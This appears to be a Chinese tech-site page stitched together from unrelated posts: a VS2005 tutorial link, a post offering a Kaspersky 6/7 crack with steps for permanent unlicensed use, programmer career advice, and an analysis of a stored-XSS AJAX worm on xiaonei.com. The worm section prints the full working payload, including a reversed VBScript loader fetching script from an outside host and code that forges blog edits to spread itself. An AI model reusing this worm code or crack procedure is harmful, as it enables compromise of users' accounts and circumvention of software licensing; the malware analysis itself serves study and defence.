Visual Studio2005入门.Net系列视频教程

     本系列教程的课程安排参考了多本.net 1.1以及在目前的2.0新书的基础上认真编订。不敢夸口本系列多了不起,但至少敢保证你看完本系列,再做完每个小结的测试,你入门是绝对没有问题的!做一个简单的网站是绝对可以的!祝愿大家能够尽快进入.net 2.0的世界。也希望本教程能够帮助你更好的学习。

http://www.ibook8.com/tech/vs2005.html

破解卡巴6&7,从此不必再找Key!

以前我一直用这个破解kis 6.0,已经用了几个月了,很好用。
今天终于找到它的支持kis/kav 6&7全系列的版本了!
似乎这里还有不少问key,所以赶紧拿来和大家分享!

强烈推荐!
从此真的不必再四处找key了。

方法:
1、关掉卡巴的自我保护。
2、退出卡巴。
3、把这个文件拷贝到卡巴的安装目录中。
4、点选两个钩,执行破译。

破解后随便找个key(过期也没关系)注册,即可永久使用。
使用年数可自定。一般择默认20年就足够了。
选更大的年限,只是有人会看得爽。呵。
下面是我破解7的信息。
       下载文件破解卡巴6&7,从此不必再找Key.rar (353.38 KB , 下载:226次)

做程序员的基本原则

  1. 扎实的基础。数据结构、离散数学、编译原理,这些是所有计算机科学的基础,如果不掌握他们,很难写出高水平的程序。据我的观察,学计算机专业的人比学其他专业的人更能写出高质量的软件。程序人人都会写,但当你发现写到一定程度很难再提高的时候,就应该想想是不是要回过头来学学这些最基本的理论。不要一开始就去学OOP,即使你再精通OOP,遇到一些基本算法的时候可能也会束手无策。

  2. 丰富的想象力。不要拘泥于固定的思维方式,遇到问题的时候要多想几种解决问题的方案,试试别人从没想过的方法。丰富的想象力是建立在丰富的知识的基础上,除计算机以外,多涉猎其他的学科,比如天文、物理、数学等等。另外,多看科幻电影也是一个很好的途径。

  3. 最简单的是最好的。这也许是所有科学都遵循的一条准则,如此复杂的质能互换原理在爱因斯坦眼里不过是一个简单得不能再简单的公式:E=mc2。简单的方法更容易被人理解,更容易实现,也更容易维护。遇到问题时要优先考虑最简单的方案,只有简单方案不能满足要求时再考虑复杂的方案。

  4. 不钻牛角尖。当你遇到障碍的时候,不妨暂时远离电脑,看看窗外的风景,听听轻音乐,和朋友聊聊天。当我遇到难题的时候会去玩游戏,而且是那种极暴力的打斗类游戏,当负责游戏的那部分大脑细胞极度亢奋的时候,负责编程的那部分大脑细胞就得到了充分的休息。当重新开始工作的时候,我会发现那些难题现在竟然可以迎刃而解。

  5. 对答案的渴求。人类自然科学的发展史就是一个渴求得到答案的过程,即使只能知道答案的一小部分也值得我们去付出。只要你坚定信念,一定要找到问题的答案,你才会付出精力去探索,即使最后没有得到答案,在过程中你也会学到很多东西。

  6. 多与别人交流。三人行必有我师,也许在一次和别人不经意的谈话中,就可以迸出灵感的火花。多上上网,看看别人对同一问题的看法,会给你很大的启发。

  7. 良好的编程风格。注意养成良好的习惯,代码的缩进编排,变量的命名规则要始终保持一致。大家都知道如何排除代码中错误,却往往忽视了对注释的排错。注释是程序的一个重要组成部分,它可以使你的代码更容易理解,而如果代码已经清楚地表达了你的思想,就不必再加注释了,如果注释和代码不一致,那就更加糟糕。

  8. 韧性和毅力。这也许是"高手"和一般程序员最大的区别。高手们并不是天才,他们是在无数个日日夜夜中磨练出来的。成功能给我们带来无比的喜悦,但过程却是无比的枯燥乏味。你不妨做个测试,找个10000以内的素数表,把它们全都抄下来,然后再检查三遍,如果能够不间断地完成这一工作,你就可以满足这一条。

怎样成为一名程序员

通过以下4个阶段的训练, 没有任何编程基础人就可以成为一名普通的程序员。

第一阶段:掌握一种编程语言

学习内容:学习任意一种主流的编程语言。例如C++语言。

学习目标:熟练掌握一种语言的语法和基本的编程技巧。

学习时间:3个月左右

注意事项:编程语言和编程工具是两回事情,编程语言是指C++、Basic、Object Pascal等
程序设计语言,它们是像汉语、英语一样的抽象的语法规则,编程工具是指
Visual C++ 6.0、Visual Basic 6.0、Delphi 7.0等包括了源代码编辑器、程序编译器
在内的集成化、可视化的软件开发工具。C++源程序可以在Visual C++ 6.0里编写,也可以在
记事本里编写,而同一个C++源程序可以用Visual C++ 6.0编译、执行,也可以用C++ Builder 5.0
编译、执行,所以: C++ 不等于 Visual C++ 6.0

第二阶段:掌握一种编程工具

学习内容:学习任意一种主流的编程工具。注意编程工具要和第一阶段学习的编程语言一致,例如你学习的
编程语言是C++,那么编程工具要选Visual C++ 6.0或者C++ Builder 5.0。

学习目标:熟练掌握这种编程工具基本用法,例如:菜单、组件、程序跟踪调试、编写Windows程序等。

学习时间:3个月左右

注意事项:这个阶段侧重编程工具的使用,同时进一步熟习编程语言,最后达到能熟练编写各种基本的Windows程序。

第三阶段:掌握“算法与数据结构”这门课程

学习内容:算法与数据结构,推荐许卓群的《数据结构》,高等教育出版社出版。

学习目标:熟练掌握各种常用的算法与数据结构

学习时间:4个月左右

注意事项:这是一门不可或缺的软件开发课程,曾经有一本经典计算机专业书籍叫做《数据结构+算法=程序》,
这说明了数据结构和算法的重要性。它能帮我们建立良好的程序分析与设计能力。

第四阶段:实现一个模拟的小型软件项目

学习内容:软件项目的开发过程

学习目标:掌握软件项目的基本开发过程和方法

学习时间:4个月左右

注意事项:自己完成一个模拟的小型软件项目,强烈推荐做一个MIS(管理信息系统)软件,参考用书推荐
“中小型信息管理系统开发实例系列丛书”,人民邮电出版社,它的例子详实有效,
以它为基础再加以扩展,就可以做出实用的MIS软件来。
此丛书包括多种开发工具,大家可以选择适合自己的:《VISUAL FOXPRO6.0 数据库系统开发实例导航》
《JAVA数据库系统开发实例导航》 《VISUAL BASIC数据库系统开发实例导航》
《VISUAL C++6.0数据库系统开发实例导航》 《ASP.NET数据库管理系统开发实例导航》
《DELPHI数据库系统开发实例导航》 《POWERBUILDER 8.0数据库系统开发实例导航》。
最后将完成的模拟软件刻成光盘,作为自己的作品去面试,以此踏上自己光辉的职业程序员之路!祝大家一路顺风!

怎样成为一个程序高手呢?

  我每天都要收到很多的朋友来信。有不少的网友经常问我:面对众多的开发工具/语言,我该选择哪一个?怎样才能学好一门语言?怎样才能算是一个真正的程序高手?……

  首先,我不算是一个什么程序高手,我也就半吊子水晃晃荡荡。我不太喜欢“程序高手”这个词,最多,只能算是一名“熟炼的开发者”而已,很多时候亦是半懂不懂。我编程是靠自学的,没有人教,也没有人问。因此走了不少弯路。当然现在看来,那些走过的弯路也算是一种积累。从 1994 开始, 我所使用的开发工具是这样一个经历:1994: GWBASIC, 1995: FOXBASE, TC, 1996: VFP, VB, PB, DELPHI, 1999: VC++, PHP。总的说来,各种开发工具各有秋千,应根据具体应用来采用不同的工具。例如写MIS用PB/VB,界面设计用VB/Delphi,写系统软件,用C/C++是最好的,做网站,有 PHP, ASP, JSP等等。对于初学者来说,先用一种可视化强的工具(如VFP/VB/DELPHI)比较好,容易掌握,上手也快。但如果你想走更深入一引起,我建议你还是很有必要去精通C/C++,甚至了解一些汇编。

  有人说,C/C++太难学了,开发效率也不高。我先不说C/C++优越于其他语言的地方(这在很多的资料中都有介绍),就单从一个很功利的角度来说说。Delphi/ VB对于一般人来说学上几个月就可以上手了。易学的东西学的人肯定多。而对于C来说,由于它难掌握,学的人不火,但一旦你真正掌握了,你的竞争实力就比其他人强。现实中,C程序员的工资普遍高于其他程序员就是一个证明。

  就我个人认为,程序员不应该拘泥于某个特定的语言,每天为某个开发工具的优劣争来争去是没有意义的。重要的只有两点:

 

  1. 你用的开发工具能解决你所遇到的实际问题吗?实用为王,适合的,能用的,就是最好的。
  2. 你喜欢这个开发工具吗?兴趣,兴趣才是最重要的。选择你所喜欢的。

  那么,怎样跨越程序新手这道坎呢?下面这几点建议也许对你可能有些帮助:

 

  1. 遇到问题时从所有你能想到的方面考虑去试图解决;
     
  2. 一定多动手,学一个专题(如网络/多媒体)后写一个软件检验自己;
     
  3. 用好联机文档(如MSDN)查询函数和资料,利用网络资源;
     
  4. 掌握好的跟踪调试技巧,多看一些高手的程序,从本质上理解;
    ……

  说白了,要想成为一名熟炼的开发者,就是最大限度的利用现有的资源,然后加上你的汗水。没有什么稀奇的。

一个不为人知的感染几百万校内网用户的蠕虫分析

文章作者:langouster
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。

 <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>

以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调回来就变成以下内容:

 set s=document.createElement("script")
 s.src=http://www.sosoface.com/images/xnjs.jpg
 document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")

在这段脚本中它又新建了一个script,它的src指向http://www.sosoface.com/images/xnjs.jpg(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
值得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长统计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218

从图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个人可能访问多个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。

下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。看时从最底下的start函数看起:

 var req = null;
 var step=null;
 var DiaryMonthUrlList="",DiaryUrlList="";
 var timer=null;
 var bIsBusy=false;

 var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

 function my_HtmlDecode(str)
 {
 str=str.replace(/</g,"<");
 str=str.replace(/>/g,">");
 str=str.replace(/&/g,"&");
 str=str.replace(/ /g," ");
 str=str.replace(/"/g,""");
 str=str.replace(/<br>/g,"n");
 str=str.replace(/#/g,"#");
 str=str.replace(/(/g,"(");
 str=str.replace(/)/g,")");
 str=str.replace(/"/g,""");
 str=str.replace(/'/g,"'");
 str=str.replace(/#/g,"#");
 str=str.replace(/(/g,"(");
 str=str.replace(/)/g,")");
 str=str.replace(/"/g,""");
 str=str.replace(/'/g,"'");
 return str;
 }
 function processReqChange()
 {
 if (req.readyState == 4 && req.status == 200 )
 {
 if("WriteIframe"==step)
 {
 var text,len,i=0,j=0,temp;
 
 text=req.responseText;
 i=text.indexOf("<div class="article">",0);
 if(-1==i){return}
 i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
 if(-1==i){return}
 j=text.indexOf(""",i);
 if(-1==j){return}
 text=text.substring(i,j);
 
 document.getElementById("mya113").style.background="#FFFFFF";
 var s=document.createElement("iframe");
 s.frameborder="0";
 s.height="0";
 s.width="1";
 s.src=text;
 document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));
 }
 else if("GetDiaryMonthList"==step)
 {
 var text,len,i=0,j=0,temp;
 //text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”中的每一个链接,保存到DiaryMonthUrlList中
 //然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
 text=req.responseText;
 i=text.indexOf("<div id="list-archive">",0);
 if(-1==i){return}
 j=text.indexOf("<div class="bottom-box">",i);
 if(-1==j){return}
 text=text.substring(i,j);
 
 i=j=0;
 while(1)
 {
 i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
 if(-1==i)break;
 j=text.indexOf("'>",i);
 if(-1==j)break;
 temp=text.substring(i,j);
 i+=temp.length;
 temp=my_HtmlDecode(temp)+"|";
 DiaryMonthUrlList+=temp;
 }
 if(DiaryMonthUrlList.length<=1)
 {
 return;
 }
 
 step="GetDiaryList";
 req=null;
 bIsBusy=false;
 timer=window.setInterval(GetStatus,1000);
 }
 else if("GetDiaryList"==step)
 {
 var text,len,i,j,temp,temp2;
 var text2="http://blog.xiaonei.com/EditEntry.do?id=";
 
 //text的内容就和用户点了“日志存档”后的内容一样
 //分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的内容,
 //看本函数下面else if("GetDiaryText"==step)就是了
 text=req.responseText;
 
 len=text.length;
 i=text.indexOf("<div id="list-article">");
 if(-1==i)
 {
 req=null;
 bIsBusy=false;
 return;
 }
 j=text.indexOf("</table>",i);
 if(-1==j)
 {
 req=null;
 bIsBusy=false;
 return;
 }
 text=text.substring(i,j);
 i=j=0;
 
 
 while(1)
 {
 j=0;
 len=0;
 j=DiaryUrlList.indexOf("|",j);
 while(j!=-1)
 {
 j++;
 len++;
 j=DiaryUrlList.indexOf("|",j);
 }
 
 if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
 {
 break;
 }
 
 i=text.indexOf(text2,i);
 if(-1==i)
 {
 break;
 }
 i+=text2.length;
 j=text.indexOf("">",i);
 if(-1==j || j-i>10)
 {
 break;
 }
 temp=text2+text.substring(i,j)+"|";
 DiaryUrlList+=temp;
 }
 req=null;
 bIsBusy=false;
 }
 else if("GetDiaryText"==step)
 {
 var text,len,i,j;
 var argv;
 var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
 
 
 text=req.responseText;
 //这个模块模拟用户编辑日志,在每篇日志的开关都加上
 //<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>
 
 i=text.indexOf("<form action="http://upload.xiaonei.com/EditEntry.do"",0);
 
 if(-1==i)
 {
 return;
 }
 i+=53;
 
 j=text.indexOf("</form>",i);
 if(-1==j)
 {
 return;
 }

 text=text.substring(i,j);
 //------------------------
 
 i=text.indexOf("id="title" class="inputtext" tabindex="1" value="",0);
 if(-1==i)return;
 i+=49;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 title=text.substring(i,j);
 //---
 i=text.indexOf("<textarea name="body" id="body" cols="100%" style="display:none">",0);
 if(-1==i)return;
 i+=65;
 j=text.indexOf("</textarea>",i);
 if(-1==j)return;
 body=text.substring(i,j);
 //---
 i=text.indexOf("id="blog_pic_id" value="",0);
 if(-1==i)return;
 i+=24;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 blog_pic_id=text.substring(i,j);
 //---
 i=text.indexOf("id="pic_path" value="",0);
 if(-1==i)return;
 i+=21;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 pic_path=text.substring(i,j);
 //---
 i=text.indexOf("name="id" value="",0);
 if(-1==i)return;
 i+=17;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 Diaryid=text.substring(i,j);
 //---
 i=text.indexOf("" selected="selected"",0);
 if(-1==i)return;
 j=i-2;
 if(text.substr(j,1)==""")
 j++;
 blogControl=text.substring(j,i);
 
 
 body=my_HtmlDecode(body);
 if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染
 {
 req=null;
 step="GetDiaryText";
 bIsBusy=false;
 
 return;
 }
 else
 {
 ;
 }
 //以上是取日志的各个变量信息
 //以下开头就感染日志并修改
 
 body=MyDecode(myrand)+body;
 //感染日志 在日志的开头加上跨站代码
 //MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量中,程序开头的一长串数据就是
 
 //以下开始POST提交修改过的日志
 argv="";
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="title"";
 argv+=(title+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="body"";
 argv+=(body+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="theFile"; filename=""Content-Type: application/octet-stream";
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blog_pic_id"";
 argv+=(blog_pic_id+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="pic_path"";
 argv+=(pic_path+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blogControl"";
 argv+=(blogControl+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="id"";
 argv+=(Diaryid+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="relative_optype"";
 argv+=("publisher"+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="del_relative_id"";
 argv+="-----------------------------7d71861cb014c--";
 
 
 req=null;
 step="EditDiaryText";
 loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
 

 }
 else if("EditDiaryText"==step)
 {
 
 req=null;
 bIsBusy=false;
 step="GetDiaryText";
 }
 else
 {
 ;
 }
 
 }
 }
 function MyDecode(str)
 {
 var i,k,str2="";
 
 k=str.split(".");
 
 for(i=0;i<k.length;i++)
 {
 str2+=String.fromCharCode(k[i]^0x12);
 }
 return str2;
 }
 function loadUrl( url,method,argv )
 {
 bIsBusy=true;
 if(!req)
 {
 if(window.XMLHttpRequest)
 {
 try
 {
 req = new XMLHttpRequest();
 } catch(e) { req = false; }
 }
 else if(window.ActiveXObject)
 {
 try
 {
 req = new ActiveXObject('Msxml2.XMLHTTP');
 }
 catch(e)
 {
 try
 {
 req = new ActiveXObject('Microsoft.XMLHTTP');
 } catch(e) { req = false; }
 }
 }
 }
 if(req)
 {
 req.onreadystatechange = processReqChange;
 try
 {
 req.open(method, url, true);
 if(method=="POST")
 req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");
 req.send(argv);
 }catch(e)
 {
 req=false;
 }
 }
 }
 function GetStatus()
 {
 if(bIsBusy)return;
 
 if("GetDiaryList"==step)
 {
 var DiaryMonthUrl,i;
 
 //取出每个月的日志列表
 if(DiaryMonthUrlList.length<=1)
 {
 step="GetDiaryText";
 return;
 }
 i=DiaryMonthUrlList.indexOf("|",0);
 if(-1==1)
 {
 step="GetDiaryText";
 return;
 }
 DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
 DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);
 
 //再回到开头的processReqChange函数 此时step还是GetDiaryList
 loadUrl(DiaryMonthUrl,"GET","");

 }
 else if("GetDiaryText"==step)
 {
 var DiaryUrl,i;
 if(DiaryUrlList.length<=1)
 {
 clearInterval(timer);
 return;
 }
 
 i=DiaryUrlList.indexOf("|",0);
 if(-1==i)
 {
 clearInterval(timer);
 return;
 }

 DiaryUrl=DiaryUrlList.substring(0,i);
 DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

 loadUrl(DiaryUrl,"GET","");
 }
 }
 function WriteStat()
 {
 var s=document.createElement("iframe");
 s.frameborder="0";
 s.height="0";
 s.width="0";
 s.src="http://www.sosoface.com/images/stat.jpg";
 document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));

 }

 function DeleteScript(html)
 {
 var i=0,j=0,str;
 
 str=html;

 i=str.indexOf("</A>",0);
 if(-1==i)
 return str;
 i+=4;
 str=str.substring(i,str.length);

 return str;
 }
 function EditorSubmit()
 {
 var ret=false;
 parent.parent.descOptype();
 ret=parent.parent.beforeSubmit();

 parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);

 return ret;
 }
 function Start()
 {
 //判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
 if("blog.xiaonei.com"==document.domain)
 {
 //如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写了一遍,不知道为什么这样做
 if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
 {
 parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;
 }
 else
 {
 
 WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
 //下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
 step="GetDiaryMonthList";
 loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读取页面内容的函数
 //下面跳到开头的processReqChange函数
 }
 }
 else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)
 {
 //如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
 //这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
 //作者这样做应该是为了一访问别人的主页就能感染
 var url="";
 
 url=document.location.toString();
 if(url.indexOf("&")==-1)
 return;
 step="WriteIframe";
 loadUrl(url,"GET","");
 }
 }

 Start();